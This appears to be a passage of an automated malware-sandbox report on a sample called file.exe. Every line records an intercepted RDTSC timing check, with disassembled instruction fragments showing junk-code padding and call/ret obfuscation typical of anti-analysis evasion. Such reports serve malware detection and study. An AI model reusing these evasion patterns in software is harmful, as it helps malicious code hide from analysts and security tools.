Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3796 second address: 13A379A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3902 second address: 13A392E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B800h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007F9CF0C7B7FEh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A392E second address: 13A3932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3932 second address: 13A3940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4E0E second address: 13C4E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2D26 second address: 13C2D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2E92 second address: 13C2E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2E98 second address: 13C2EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jng 00007F9CF0C7B7F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2FFE second address: 13C3030 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9CF0B4E770h 0x0000000f jmp 00007F9CF0B4E778h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3030 second address: 13C3053 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B806h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jg 00007F9CF0C7B7F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C31F0 second address: 13C3201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CF0B4E76Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3201 second address: 13C3211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F9CF0C7B7F6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3211 second address: 13C3217 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3798 second address: 13C379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C38F5 second address: 13C38FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C38FB second address: 13C390C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9CF0C7B7F6h 0x0000000a popad 0x0000000b pop esi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C390C second address: 13C3912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3912 second address: 13C3916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3FC7 second address: 13C3FCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3FCB second address: 13C3FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0C7B7FEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3FE3 second address: 13C3FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4570 second address: 13C4574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4574 second address: 13C457A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C457A second address: 13C4580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4847 second address: 13C4853 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9CF0B4E766h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4853 second address: 13C489F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9CF0C7B808h 0x00000008 jmp 00007F9CF0C7B802h 0x0000000d push ebx 0x0000000e jmp 00007F9CF0C7B7FFh 0x00000013 pop ebx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 js 00007F9CF0C7B815h 0x0000001c jnl 00007F9CF0C7B7FAh 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 jmp 00007F9CF0C7B7FBh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C49E4 second address: 13C49E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C49E8 second address: 13C4A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jbe 00007F9CF0C7B802h 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139937D second address: 13993A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E76Eh 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop ebx 0x00000013 jl 00007F9CF0B4E76Ch 0x00000019 jne 00007F9CF0B4E766h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13993A5 second address: 13993B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9CF0C7B7FBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA292 second address: 13CA296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA8CD second address: 13CA8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA8D1 second address: 13CA8FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jng 00007F9CF0B4E766h 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9CF0B4E76Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA8FC second address: 13CA907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F9CF0C7B7F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA907 second address: 13CA932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F9CF0B4E772h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9CF0B4E76Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA932 second address: 13CA93C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F9CF0C7B7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA93C second address: 13CA959 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E76Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA959 second address: 13CA95D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D117A second address: 13D1180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1180 second address: 13D11A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F9CF0C7B7FAh 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F9CF0C7B7FFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D11A2 second address: 13D11A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D11A7 second address: 13D11AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0667 second address: 13D068E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9CF0B4E766h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F9CF0B4E773h 0x00000011 jne 00007F9CF0B4E766h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D092F second address: 13D0933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0E90 second address: 13D0EA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E76Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0EA4 second address: 13D0EA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0FE7 second address: 13D1020 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9CF0B4E766h 0x00000008 jmp 00007F9CF0B4E779h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F9CF0B4E776h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1020 second address: 13D1025 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1025 second address: 13D1038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F9CF0B4E766h 0x0000000d jbe 00007F9CF0B4E766h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1038 second address: 13D103C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D37C9 second address: 13D3847 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9CF0B4E766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 push esi 0x00000014 jmp 00007F9CF0B4E779h 0x00000019 pop esi 0x0000001a popad 0x0000001b pop eax 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F9CF0B4E768h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 je 00007F9CF0B4E769h 0x0000003c movsx esi, si 0x0000003f call 00007F9CF0B4E769h 0x00000044 jns 00007F9CF0B4E770h 0x0000004a push eax 0x0000004b je 00007F9CF0B4E77Ah 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3847 second address: 13D386A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0C7B7FCh 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F9CF0C7B7FCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D386A second address: 13D386F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D386F second address: 13D389A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ebx 0x0000000c jmp 00007F9CF0C7B804h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D389A second address: 13D389E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D389E second address: 13D38A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3D30 second address: 13D3D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3D36 second address: 13D3D3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3E17 second address: 13D3E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3F4A second address: 13D3F54 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9CF0C7B7FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D43D4 second address: 13D43D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D43D9 second address: 13D43DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D43DF second address: 13D43F6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9CF0B4E766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F9CF0B4E766h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D43F6 second address: 13D43FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D43FC second address: 13D4406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F9CF0B4E766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4406 second address: 13D440A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4569 second address: 13D4577 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F9CF0B4E766h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D48E6 second address: 13D48EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D48EC second address: 13D48F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D48F1 second address: 13D48F6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D5879 second address: 13D5884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9CF0B4E766h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D5884 second address: 13D590B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F9CF0C7B7F8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov esi, dword ptr [ebp+122D1866h] 0x0000002b mov edi, dword ptr [ebp+122D382Ah] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007F9CF0C7B7F8h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 0000001Ch 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d push 00000000h 0x0000004f or dword ptr [ebp+122D2752h], esi 0x00000055 xchg eax, ebx 0x00000056 jc 00007F9CF0C7B807h 0x0000005c jmp 00007F9CF0C7B801h 0x00000061 push eax 0x00000062 push edi 0x00000063 jng 00007F9CF0C7B7FCh 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D69AC second address: 13D6A2D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9CF0B4E76Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F9CF0B4E768h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov edi, 1C084252h 0x0000002a push 00000000h 0x0000002c jns 00007F9CF0B4E76Ch 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F9CF0B4E768h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e pushad 0x0000004f mov ebx, 296347A3h 0x00000054 and bx, 3454h 0x00000059 popad 0x0000005a xchg eax, ebx 0x0000005b jmp 00007F9CF0B4E770h 0x00000060 push eax 0x00000061 pushad 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6179 second address: 13D6183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F9CF0C7B7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7EFF second address: 13D7F05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7F05 second address: 13D7F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD0E0 second address: 13DD0ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFF7B second address: 13DFFE4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9CF0C7B7FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+12456C16h], eax 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F9CF0C7B7F8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f call 00007F9CF0C7B806h 0x00000034 xor dword ptr [ebp+122D1A67h], ecx 0x0000003a pop edi 0x0000003b push 00000000h 0x0000003d pushad 0x0000003e sub ebx, dword ptr [ebp+122D275Eh] 0x00000044 popad 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push ebx 0x0000004a pop ebx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFFE4 second address: 13DFFF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007F9CF0B4E766h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFFF8 second address: 13DFFFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFFFE second address: 13E0002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1FD8 second address: 13E202A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F9CF0C7B7F8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 add ebx, dword ptr [ebp+122D2ABAh] 0x00000028 push 00000000h 0x0000002a mov ebx, dword ptr [ebp+122D17FCh] 0x00000030 mov ebx, dword ptr [ebp+122D18E7h] 0x00000036 push 00000000h 0x00000038 xchg eax, esi 0x00000039 js 00007F9CF0C7B808h 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F9CF0C7B7FAh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D926E second address: 13D9272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E202A second address: 13E2036 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2036 second address: 13E203A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2FE4 second address: 13E2FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
